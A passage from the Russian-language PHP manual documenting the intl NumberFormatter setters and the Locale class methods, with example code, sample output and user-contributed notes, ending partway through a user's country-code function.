$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Шаблон: ".numfmt_get_pattern($fmt)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_pattern($fmt, "#0.# kg");
echo "Шаблон: ".numfmt_get_pattern($fmt)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Шаблон: ".$fmt->getPattern()."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setPattern("#0.# kg");
echo "Шаблон: ".$fmt->getPattern()."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

Результат выполнения данного примера:

Шаблон: #,##0.###
1.234.567,891
Шаблон: #0.# kg
1234567,9 kg

Смотрите также

  • numfmt_get_error_code() - Получает последний код ошибки средства форматирования
  • numfmt_create() - Создаёт средство форматирования чисел
  • numfmt_get_pattern() - Получает шаблон средства форматирования

User Contributed Notes

Crash 02-Oct-2020 10:27
If you're looking for the pattern syntax, their documentation is here: http://unicode.org/reports/tr35/tr35-numbers.html#Number_Format_Patterns
Anonymous 06-Jun-2019 02:22
setPattern appears to influence only the behavior of the format method, not the parse method of the NumberFormatter object.

$pattern = '#,##0';
$frmtr = NumberFormatter::create('en-US', NumberFormatter::DECIMAL);
$frmtr->setPattern($pattern);
echo $frmtr->parse('12.345');

// returns 12


Устанавливает значение символа

  • « NumberFormatter::setPattern
  • NumberFormatter::setTextAttribute »
  • PHP Manual
  • NumberFormatter
  • Устанавливает значение символа

NumberFormatter::setSymbol

numfmt_set_symbol

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::setSymbol -- numfmt_set_symbol — Устанавливает значение символа

Описание

Объектно-ориентированный стиль

public NumberFormatter::setSymbol(int $symbol, string $value): bool

Процедурный стиль

numfmt_set_symbol(NumberFormatter $formatter, int $symbol, string $value): bool

Устанавливает символ, связанный со средством форматирования. Средство форматирования использует символы для представления специальных символов, зависящих от языка, в числах, например, знак процента. Этот API не поддерживается для средств форматирования на основе правил.

Список параметров

formatter

Объект NumberFormatter.

symbol

Спецификатор символа, одна из констант символа форматирования.

value

Текст для символа.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования numfmt_set_symbol()

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Разделитель: ".numfmt_get_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL, "*");
echo "Разделитель: ".numfmt_get_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Разделитель: ".$fmt->getSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL, "*");
echo "Разделитель: ".$fmt->getSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

Результат выполнения данного примера:

Разделитель: .
1.234.567,891
Разделитель: *
1*234*567,891

Смотрите также

  • numfmt_get_error_code() - Получает последний код ошибки средства форматирования
  • numfmt_get_symbol() - Получает значение символа

User Contributed Notes

vreemt+phpnet at gmail dot com 29-Aug-2019 03:55
this could be obvious to some, but `setSymbol(NumberFormatter::CURRENCY_SYMBOL, '')` doesn't work for `formatCurrency` - it will simply be ignored...

use `NumberFormatter::CURRENCY` and `$fmt->format(123);` to get a currency value with the symbol specified as `CURRENCY_SYMBOL` (or `INTL_CURRENCY_SYMBOL`)


Устанавливает текстовый атрибут

  • « NumberFormatter::setSymbol
  • Locale »
  • PHP Manual
  • NumberFormatter
  • Устанавливает текстовый атрибут

NumberFormatter::setTextAttribute

numfmt_set_text_attribute

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::setTextAttribute -- numfmt_set_text_attribute — Устанавливает текстовый атрибут

Описание

Объектно-ориентированный стиль

public NumberFormatter::setTextAttribute(int $attribute, string $value): bool

Процедурный стиль

numfmt_set_text_attribute(NumberFormatter $formatter, int $attribute, string $value): bool

Устанавливает текстовый атрибут, связанный со средством форматирования. Примером текстового атрибута является суффикс для положительных чисел. Если средство форматирования не понимает атрибут, выдаётся ошибка U_UNSUPPORTED_ERROR. Средства форматирования на основе правил понимают только NumberFormatter::DEFAULT_RULESET и NumberFormatter::PUBLIC_RULESETS.

Список параметров

formatter

Объект NumberFormatter.

attribute

Спецификатор атрибута - одна из констант текстового атрибута.

value

Текст для значения атрибута.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования numfmt_set_text_attribute()

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Префикс: ".numfmt_get_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX)."\n";
echo numfmt_format($fmt, -1234567.891234567890000)."\n";
numfmt_set_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX, "MINUS");
echo "Префикс: ".numfmt_get_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX)."\n";
echo numfmt_format($fmt, -1234567.891234567890000)."\n";
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Префикс: ".$fmt->getTextAttribute(NumberFormatter::NEGATIVE_PREFIX)."\n";
echo $fmt->format(-1234567.891234567890000)."\n";
$fmt->setTextAttribute(NumberFormatter::NEGATIVE_PREFIX, "MINUS");
echo "Префикс: ".$fmt->getTextAttribute(NumberFormatter::NEGATIVE_PREFIX)."\n";
echo $fmt->format(-1234567.891234567890000)."\n";
?>

Результат выполнения данного примера:

Префикс: -
-1.234.567,891
Префикс: MINUS
MINUS1.234.567,891

Смотрите также

  • numfmt_get_error_code() - Получает последний код ошибки средства форматирования
  • numfmt_get_text_attribute() - Получает текстовый атрибут
  • numfmt_set_attribute() - Устанавливает атрибут

User Contributed Notes

There are no user contributed notes for this page.


Класс Locale

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Введение

"Locale" - это идентификатор, используемый для распознавания языка, культуры или региональные особенности поведения API. Локали PHP организованы и обозначены так же как и локали CLDR, используемые ICU и многими производителями систем Unix, Linux и Mac, Java и т.д. Локали обозначаются согласно языковым меткам стандарта RFC 4646 (который использует тире, а не подчёркивание) в дополнение к традиционным обозначением с использованием символа подчёркивания. Функции данного класса понимают оба написания, если явно не указано иное.

Примеры идентификаторов:

  • en-US (Английский, США)
  • zh-Hant-TW (Китайский, Традиционное начертание, Тайвань)
  • fr-CA, fr-FR (Канадский Французский и Французский соответственно)

Класс Locale (и соответствующие процедурные функции) используется для взаимодействия с идентификаторами локалей, для проверки правильного составления идентификатора, его корректности и т.д. Модули используются CLDR в UAX #35 (и наследуется ICU), являются корректными и используются везде они были бы в ICU.

Данный класс нельзя инстанциировать как объект. Все методы/функции объявлены статическими.

null или пустая строка будут считаться за "базовую" локаль. "Базовая" локаль - это "en_US_POSIX" в CLDR. Языковые метки (и идентификаторы локали) регистронезависимы. В данном классе присутствует метод, преобразующий их к каноничному виду.

Обзор классов

class Locale {
/* Константы */
public const int ACTUAL_LOCALE;
public const int VALID_LOCALE;
public const null DEFAULT_LOCALE = null;
public const string LANG_TAG;
public const string EXTLANG_TAG;
public const string SCRIPT_TAG;
public const string REGION_TAG;
public const string VARIANT_TAG;
public const string GRANDFATHERED_LANG_TAG;
public const string PRIVATE_TAG;
/* Методы */
public static acceptFromHttp(string $header): string|false
public static canonicalize(string $locale): ?string
public static composeLocale(array $subtags): string|false
public static filterMatches(string $languageTag, string $locale, bool $canonicalize = false): ?bool
public static getAllVariants(string $locale): ?array
public static getDefault(): string
public static getDisplayLanguage(string $locale, ?string $displayLocale = null): string|false
public static getDisplayName(string $locale, ?string $displayLocale = null): string|false
public static getDisplayRegion(string $locale, ?string $displayLocale = null): string|false
public static getDisplayScript(string $locale, ?string $displayLocale = null): string|false
public static getDisplayVariant(string $locale, ?string $displayLocale = null): string|false
public static getKeywords(string $locale): array|false|null
public static getPrimaryLanguage(string $locale): ?string
public static getRegion(string $locale): ?string
public static getScript(string $locale): ?string
public static lookup(
array $languageTag,
string $locale,
bool $canonicalize = false,
?string $defaultLocale = null
): ?string
public static parseLocale(string $locale): ?array
public static setDefault(string $locale): bool
}

Предопределённые константы

Locale::DEFAULT_LOCALE
Используется в качестве параметра, задающего локаль в функциях где это необходимо, таких как NumberFormatter. Эта константа вынуждает использовать локаль по умолчанию.

Эти константы описывают выбор локали для метода getLocale различных классов.

Locale::ACTUAL_LOCALE
Описывает текущую локаль.
Locale::VALID_LOCALE
Это самая специфичная локаль, поддерживаемая ICU.

Эти константы описывают как разбираются или из чего состоят локали. Они используются как ключи массива аргументов для locale_compose() и как возвращаемые значения locale_parse() в виде ключей возвращаемого ассоциативного массива.

Locale::LANG_TAG
Метка для языка
Locale::EXTLANG_TAG
Расширенная метка языка
Locale::SCRIPT_TAG
Метка начертания
Locale::REGION_TAG
Метка региона
Locale::VARIANT_TAG
Метка варианта
Locale::GRANDFATHERED_LANG_TAG
Метка языка в старом синтаксисе (grandfathered)
Locale::PRIVATE_TAG
Приватная метка

Смотрите также

  • » RFC 4646 - метки для идентификаторов языков
  • » RFC 4647 - проверка языковых меток
  • » Проект Unicode CLDR:Стандартный репозиторий данных локалей
  • » Регистр языковых меток IANA
  • » Руководство пользователя ICU - Локаль
  • » ICU api локали

Содержание

  • Locale::acceptFromHttp — Попытаться определить наилучшую локаль основываясь на заголовке HTTP "Accept-Language"
  • Locale::canonicalize — Канонизировать строку локали
  • Locale::composeLocale — Возвращает корректно отсортированные и разделённые идентификаторы локали
  • Locale::filterMatches — Проверить, соответствует ли тег фильтра языка локали
  • Locale::getAllVariants — Получение вариантов из переданной локали
  • Locale::getDefault — Получение значения локали INTL по умолчанию из опции 'default_locale'
  • Locale::getDisplayLanguage — Возвращает соответствующим образом локализованное имя языка для заданной локали
  • Locale::getDisplayName — Возвращает соответствующим образом локализованное имя локали
  • Locale::getDisplayRegion — Возвращает соответствующим образом локализованное название региона для заданной локали
  • Locale::getDisplayScript — Возвращает соответствующим образом локализованное название алфавита для заданной локали
  • Locale::getDisplayVariant — Возвращает соответствующим образом локализованное название варианта для заданной локали
  • Locale::getKeywords — Получить ключевые слова для локали
  • Locale::getPrimaryLanguage — Получить первичный язык для локали
  • Locale::getRegion — Получить регион для локали
  • Locale::getScript — Получить алфавит для локали
  • Locale::lookup — Поиск языковых меток наиболее подходящих заданной локали
  • Locale::parseLocale — Получить ассоциативный массив всех подтегов локали
  • Locale::setDefault — Установить локаль по умолчанию во время исполнения

User Contributed Notes

There are no user contributed notes for this page.


Попытаться определить наилучшую локаль основываясь на заголовке HTTP "Accept-Language"

  • « Locale
  • Locale::canonicalize »
  • PHP Manual
  • Locale
  • Попытаться определить наилучшую локаль основываясь на заголовке HTTP "Accept-Language"

Locale::acceptFromHttp

locale_accept_from_http

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::acceptFromHttp -- locale_accept_from_http — Попытаться определить наилучшую локаль основываясь на заголовке HTTP "Accept-Language"

Описание

Объектно-ориентированный стиль

public static Locale::acceptFromHttp(string $header): string|false

Процедурный стиль

locale_accept_from_http(string $header): string|false

Пытается определить локаль, удовлетворяющую списку языков, запрошенному в HTTP-заголовке "Accept-Language".

Список параметров

header

Строка, содержащая заголовок "Accept-Language" в соответствии с форматом RFC 2616.

Возвращаемые значения

Соответствующий идентификатор локали.

Возвращает false, если длина header превышает INTL_MAX_LOCALE_LEN.

Примеры

Пример #1 Пример использования locale_accept_from_http()

<?php
$locale = locale_accept_from_http($_SERVER['HTTP_ACCEPT_LANGUAGE']);
echo $locale;
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$locale = Locale::acceptFromHttp($_SERVER['HTTP_ACCEPT_LANGUAGE']);
echo $locale;
?>

Результат выполнения данного примера:

en_US

Смотрите также

  • locale_lookup() - Поиск языковых меток наиболее подходящих заданной локали

User Contributed Notes

bill at m$ dot com 07-May-2023 09:29
A nice way to detect humans. Bots usually dont have this HTTP_ACCEPT_LANGUAGE set.
bohwaz 28-Jan-2022 11:26
Please note that this method can throw IntlException in some cases when the passed header string is invalid AND you have enabled exceptions.  For example:

<?php

ini_set('intl.use_exceptions', 1);

$header = 'fr-FR,fr;q=0.9,fr;q=0.9;q=0.8,en-gb;q=0.8;q=0.7,en;q=0.6,en;q=0.7;q=0.5,*;q=0.5;q=0.4';
var_dump(locale_accept_from_http($header));

?>

Returns:

PHP Warning:  Uncaught IntlException: locale_accept_from_http: failed to find acceptable locale in ...
mollasadra at g dot com 16-Apr-2018 03:29
Didn't see this being documented anywhere and the bug hasn't been addressed yet, so to save headache for otherS, this method does a little weird thing with these different locales:

php > echo locale_accept_from_http("zh_TW");
zh
php > echo locale_accept_from_http("zh_CN");
zh
rasmus at mindplay dot dk 22-Nov-2017 02:44
If you're struggling to figure out how to use this function in a project that only supports certain languages, move along.

Unfortunately, this function doesn't let you specify languages supported by your project - and since the internal header parsing and negotiation logic isn't exposed in any other way, you'll most likely want to ditch this function and go for a custom implementation of the same thing:

https://github.com/willdurand/Negotiation
Adam Lange 14-Oct-2012 06:50
It's good to mention that if user browser will not send HTTP_ACCEPT_LANGUAGE, the output from:

 Locale::acceptFromHttp($_SERVER['HTTP_ACCEPT_LANGUAGE']);

Will be null.

So remember to set up a fail over scenario!


Канонизировать строку локали

  • « Locale::acceptFromHttp
  • Locale::composeLocale »
  • PHP Manual
  • Locale
  • Канонизировать строку локали

Locale::canonicalize

locale_canonicalize

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::canonicalize -- locale_canonicalize — Канонизировать строку локали

Описание

public static Locale::canonicalize(string $locale): ?string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

locale

Возвращаемые значения

Канонизированная строка локали.

Возвращает null, если длина locale превышает INTL_MAX_LOCALE_LEN.

User Contributed Notes

jerome at chaman dot ca 25-Nov-2015 03:29
this method performs Level 1 and Level 2 canonicalization according to ICU standards. See http://userguide.icu-project.org/locale#TOC-Canonicalization.

echo \Locale::canonicalize ( 'en-US.utf8' );
// "en_U"
echo \Locale::canonicalize ( 'FR-fr@EURO' );
// "fr_FR@currency=EUR"
echo \Locale::canonicalize ( '' );
// "en_US_POSIX"


Возвращает корректно отсортированные и разделённые идентификаторы локали

  • « Locale::canonicalize
  • Locale::filterMatches »
  • PHP Manual
  • Locale
  • Возвращает корректно отсортированные и разделённые идентификаторы локали

Locale::composeLocale

locale_compose

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::composeLocale -- locale_compose — Возвращает корректно отсортированные и разделённые идентификаторы локали

Описание

Объектно-ориентированный стиль

public static Locale::composeLocale(array $subtags): string|false

Процедурный стиль

locale_compose(array $subtags): string|false

Возвращает строку, состоящую из корректно отсортированных и разделённых идентификаторов локали, собранную из массива, ключи которого обозначают подтеги идентификатора, а значения соответствующие значения этих подтегов.

Список параметров

subtags

Массив (array), содержащий список пар ключ-значение, где ключи являются именами подтегов идентификатора локали, а значения, соответственно, значениями этих подтегов.

Замечание:

Подтегов 'variant' и 'private' может быть не более 15, подтегов 'extlang' не более 3 и т.д. Варианты допустимы с суффиксами от 0 до 14. Ключи для этого подтега должны называться так: variant0, variant1, ...,variant14. В возвращаемом идентификаторе локали вложенный тег упорядочен по суффиксу, в результате чего следует variant0, за которым следует variant1, за которым следует variant2 и так далее.

В качестве альтернативы, множественные подтеги 'variant', 'private' и 'extlang' можно задать в виде массива под соответствующим ключом (например 'variant'). В этом случае ограничения на количество распознанных вложенных тегов не применяются.

Возвращаемые значения

Соответствующий идентификатор локали или false, если параметр subtags не задан.

Примеры

Пример #1 Пример использования locale_compose()

<?php
$arr = array(
'language'=>'en',
'script' =>'Hans',
'region' =>'CN',
'variant2'=>'rozaj',
'variant1'=>'nedis',
'private1'=>'prv1',
'private2'=>'prv2',
);
echo locale_compose($arr);
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$arr = array(
'language'=>'en' ,
'script' =>'Hans',
'region' =>'CN',
'variant2'=>'rozaj',
'variant1'=>'nedis',
'private1'=>'prv1',
'private2'=>'prv2',
);
echo Locale::composeLocale($arr);
?>

Результат выполнения данного примера:

Locale: en_Hans_CN_nedis_rozaj_x_prv1_prv2

Пример #3 Пределы подтегов

Если subtags заданы как отдельные ключи с числовым суффиксом, неподдерживаемые ключи игнорируются (в данном случае 'extlang3') и упорядочиваются в результате по числовому суффиксу. Нет никаких ограничений, если вложенные теги заданы как массив (array); упорядочены как указаны.

<?php
$arr = array(
'language' => 'en',
'script' => 'Hans',
'region' => 'CN',
'extlang3' => 'd',
'extlang2' => 'c',
'extlang1' => 'b',
'extlang0' => 'a',
);
echo locale_compose($arr), PHP_EOL;

$arr = array(
'language' => 'en',
'script' => 'Hans',
'region' => 'CN',
'extlang' => ['a', 'b', 'c', 'd'],
);
echo locale_compose($arr), PHP_EOL;
?>

Результат выполнения данного примера:

en_a_b_c_Hans_CN
en_a_b_c_d_Hans_CN

Смотрите также

  • locale_parse() - Получить ассоциативный массив всех подтегов локали

User Contributed Notes

There are no user contributed notes for this page.


Проверить, соответствует ли тег фильтра языка локали

  • « Locale::composeLocale
  • Locale::getAllVariants »
  • PHP Manual
  • Locale
  • Проверить, соответствует ли тег фильтра языка локали

Locale::filterMatches

locale_filter_matches

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::filterMatches -- locale_filter_matches — Проверить, соответствует ли тег фильтра языка локали

Описание

Объектно-ориентированный стиль

public static Locale::filterMatches(string $languageTag, string $locale, bool $canonicalize = false): ?bool

Процедурный стиль

locale_filter_matches(string $langtag, string $locale, bool $canonicalize = false): ?bool

Проверить, соответствует ли фильтр languageTag локали locale руководствуясь базовыми фильтрующими алгоритмами RFC 4647

Список параметров

languageTag

Языковой тег

locale

Локаль

canonicalize

Если true, аргумент будет преобразован к каноничной форме перед проверкой.

Возвращаемые значения

true если locale подходит для languageTag, или false, если нет.

Возвращает null, если длина locale превышает INTL_MAX_LOCALE_LEN.

Примеры

Пример #1 Пример использования locale_filter_matches()

<?php
echo (locale_filter_matches('de-DEVA','de-DE', false)) ? "Подходит" : "Не подходит";
echo '; ';
echo (locale_filter_matches('de-DE_1996','de-DE', false)) ? "Подходит" : "Не подходит";
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
echo (Locale::filterMatches('de-DEVA','de-DE', false)) ? "Подходит" : "Не подходит";
echo '; ';
echo (Locale::filterMatches('de-DE-1996','de-DE', false)) ? "Подходит" : "Не подходит";
?>

Результат выполнения данного примера:

Не подходит; Подходит

Смотрите также

  • locale_lookup() - Поиск языковых меток наиболее подходящих заданной локали

User Contributed Notes

There are no user contributed notes for this page.


Получение вариантов из переданной локали

  • « Locale::filterMatches
  • Locale::getDefault »
  • PHP Manual
  • Locale
  • Получение вариантов из переданной локали

Locale::getAllVariants

locale_get_all_variants

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::getAllVariants -- locale_get_all_variants — Получение вариантов из переданной локали

Описание

Объектно-ориентированный стиль

public static Locale::getAllVariants(string $locale): ?array

Процедурный стиль

locale_get_all_variants(string $locale): ?array

Получение вариантов из переданной локали

Список параметров

locale

Локаль из которой будут извлечены варианты

Возвращаемые значения

Массив, содержащий список вариантов заданной локали, или null, если таковых нет

Возвращает null, если длина locale превышает INTL_MAX_LOCALE_LEN.

Примеры

Пример #1 Пример использования locale_get_all_variants()

<?php
$arr = locale_get_all_variants('sl_IT_NEDIS_ROJAZ_1901');
var_export( $arr );
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$arr = Locale::getAllVariants('sl_IT_NEDIS_ROJAZ_1901');
var_export( $arr );
?>

Результат выполнения данного примера:

array (
    0 => 'NEDIS',
    1 => 'ROJAZ',
    2 => '1901',
)

Смотрите также

  • locale_get_primary_language() - Получить первичный язык для локали
  • locale_get_script() - Получить алфавит для локали
  • locale_get_region() - Получить регион для локали

User Contributed Notes

There are no user contributed notes for this page.


Получение значения локали INTL по умолчанию из опции 'default_locale'

  • « Locale::getAllVariants
  • Locale::getDisplayLanguage »
  • PHP Manual
  • Locale
  • Получение значения локали INTL по умолчанию из опции 'default_locale'

Locale::getDefault

locale_get_default

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::getDefault -- locale_get_default — Получение значения локали INTL по умолчанию из опции 'default_locale'

Описание

Объектно-ориентированный стиль

public static Locale::getDefault(): string

Процедурный стиль

locale_get_default(): string

Получение значения локали по умолчанию. при инициализации PHP, это значение устанавливается в значение 'intl.default_locale' из php.ini, если оно там есть, или в значение функции ICU uloc_getDefault().

Список параметров

Возвращаемые значения

Текущая локаль времени исполнения

Примеры

Пример #1 Пример использования locale_get_default()

<?php
ini_set('intl.default_locale', 'de-DE');
echo locale_get_default();
echo '; ';
locale_set_default('fr');
echo locale_get_default();
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
ini_set('intl.default_locale', 'de-DE');
echo Locale::getDefault();
echo '; ';
Locale::setDefault('fr');
echo Locale::getDefault();
?>

Результат выполнения данного примера:

de-DE; fr

Смотрите также

  • locale_set_default() - Установить локаль по умолчанию во время исполнения

User Contributed Notes

tjsturos 10-May-2019 07:41
If you don't do anything, you can still call these methods and get the server's default locale.

In the case of Linux (Ubuntu 16.04), it uses the $LANG global variable.

Using the REPL:

echo locale_get_default();   // en_US

and then resetting the $LANG:

tiikeri@ubuntu:~$ LANG="fi_FI.UTF-8"

and back to the REPL:

echo locale_get_default();   // fi_FI


Возвращает соответствующим образом локализованное имя языка для заданной локали

  • « Locale::getDefault
  • Locale::getDisplayName »
  • PHP Manual
  • Locale
  • Возвращает соответствующим образом локализованное имя языка для заданной локали

Locale::getDisplayLanguage

locale_get_display_language

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::getDisplayLanguage -- locale_get_display_language — Возвращает соответствующим образом локализованное имя языка для заданной локали

Описание

Объектно-ориентированный стиль

public static Locale::getDisplayLanguage(string $locale, ?string $displayLocale = null): string|false

Процедурный стиль

locale_get_display_language(string $locale, ?string $displayLocale = null): string|false

Возвращает соответствующим образом локализованное имя языка для заданной локали. Если null, то будет использована локаль по умолчанию.

Список параметров

locale

Локаль, для которой будет возвращено название языка

displayLocale

Необязательный параметр, задающий локаль, в которой надо будет отобразить название

Возвращаемые значения

Название языка для локали locale в формате, соответствующем локали displayLocale или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | displayLocale теперь допускает значение null.

Примеры

Пример #1 Пример использования locale_get_display_language()

<?php
echo locale_get_display_language('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_language('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_language('sl-Latn-IT-nedis', 'de');
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
echo Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'de');
?>

Результат выполнения данного примера:

Slovenian;
slov\xc3\xa8ne;
Slowenisch

Смотрите также

  • locale_get_display_name() - Возвращает соответствующим образом локализованное имя локали
  • locale_get_display_script() - Возвращает соответствующим образом локализованное название алфавита для заданной локали
  • locale_get_display_region() - Возвращает соответствующим образом локализованное название региона для заданной локали
  • locale_get_display_variant() - Возвращает соответствующим образом локализованное название варианта для заданной локали

User Contributed Notes

jake at qzdesign dot co dot uk 16-Nov-2019 09:57
If `$locale` is invalid, the return value is actually the value of `$locale`, not `NULL` or `FALSE` as you might expect.

(If `$in_locale` is invalid, but `$locale` is valid, the return value is the language name in the default locale.)
heitor dot siller at gmail dot com 24-Jul-2011 02:43
To display special characters correctly in a web browser, it's a good idea to decode the result data with utf8_decode:

<?php

echo utf8_decode(Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'fr'));

echo utf8_decode(Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'pt-BR'));

?>


Возвращает соответствующим образом локализованное имя локали

  • « Locale::getDisplayLanguage
  • Locale::getDisplayRegion »
  • PHP Manual
  • Locale
  • Возвращает соответствующим образом локализованное имя локали

Locale::getDisplayName

locale_get_display_name

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::getDisplayName -- locale_get_display_name — Возвращает соответствующим образом локализованное имя локали

Описание

Объектно-ориентированный стиль

public static Locale::getDisplayName(string $locale, ?string $displayLocale = null): string|false

Процедурный стиль

locale_get_display_name(string $locale, ?string $displayLocale = null): string|false

Возвращает соответствующим образом локализованное имя локали. Если locale равно null, то будет использована локаль по умолчанию.

Список параметров

locale

Локаль.

displayLocale

Необязательная локаль для форматирования

Возвращаемые значения

Имя локали в формате локали displayLocale или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | displayLocale теперь допускает значение null.

Примеры

Пример #1 Пример использования locale_get_display_name()

<?php
echo locale_get_display_name('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_name('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_name('sl-Latn-IT-nedis', 'de');
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
echo Locale::getDisplayName('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayName('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayName('sl-Latn-IT-nedis', 'de');
?>

Результат выполнения данного примера:

Slovenian (Latin, Italy, Natisone dialect);
slov\xc3\xa8ne (latin, Italie, dialecte de Natisone;
Slowenisch (Lateinisch, Italien, NEDIS)

Смотрите также

  • locale_get_display_language() - Возвращает соответствующим образом локализованное имя языка для заданной локали
  • locale_get_display_script() - Возвращает соответствующим образом локализованное название алфавита для заданной локали
  • locale_get_display_region() - Возвращает соответствующим образом локализованное название региона для заданной локали
  • locale_get_display_variant() - Возвращает соответствующим образом локализованное название варианта для заданной локали

User Contributed Notes

There are no user contributed notes for this page.


Возвращает соответствующим образом локализованное название региона для заданной локали

  • « Locale::getDisplayName
  • Locale::getDisplayScript »
  • PHP Manual
  • Locale
  • Возвращает соответствующим образом локализованное название региона для заданной локали

Locale::getDisplayRegion

locale_get_display_region

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::getDisplayRegion -- locale_get_display_region — Возвращает соответствующим образом локализованное название региона для заданной локали

Описание

Объектно-ориентированный стиль

public static Locale::getDisplayRegion(string $locale, ?string $displayLocale = null): string|false

Процедурный стиль

locale_get_display_region(string $locale, ?string $displayLocale = null): string|false

Возвращает соответствующим образом локализованное название региона для заданной локали. Если null, то будет использована локаль по умолчанию.

Список параметров

locale

Локаль.

displayLocale

Необязательная локаль для форматирования

Возвращаемые значения

Название региона для locale в формате локали displayLocale или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | displayLocale теперь допускает значение null.

Примеры

Пример #1 Пример использования locale_get_display_region()

<?php
echo locale_get_display_region('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_region('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_region('sl-Latn-IT-nedis', 'de');
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
echo Locale::getDisplayRegion('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayRegion('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayRegion('sl-Latn-IT-nedis', 'de');
?>

Результат выполнения данного примера:

Italy;
Italie;
Italien

Смотрите также

  • locale_get_display_name() - Возвращает соответствующим образом локализованное имя локали
  • locale_get_display_language() - Возвращает соответствующим образом локализованное имя языка для заданной локали
  • locale_get_display_script() - Возвращает соответствующим образом локализованное название алфавита для заданной локали
  • locale_get_display_variant() - Возвращает соответствующим образом локализованное название варианта для заданной локали

User Contributed Notes

info at domain name (see note) 16-Sep-2016 01:20
in fact , I would do exactly the opposite :  find the country code (iso3166) from the country name. Found on the web, one solution is to use a table of correspondence between the country code and the country name for each language.
There are too many countries and language code for this type of table.

With a PHP function , the convertion can be performed as well:

function countryNameToISO3166($country_name, $language) {
    if (strlen($language) != 2) {
        //Language must be on 2 caracters
        return NULL;
    }

    //Set uppercase if never
    $language = strtoupper($language);

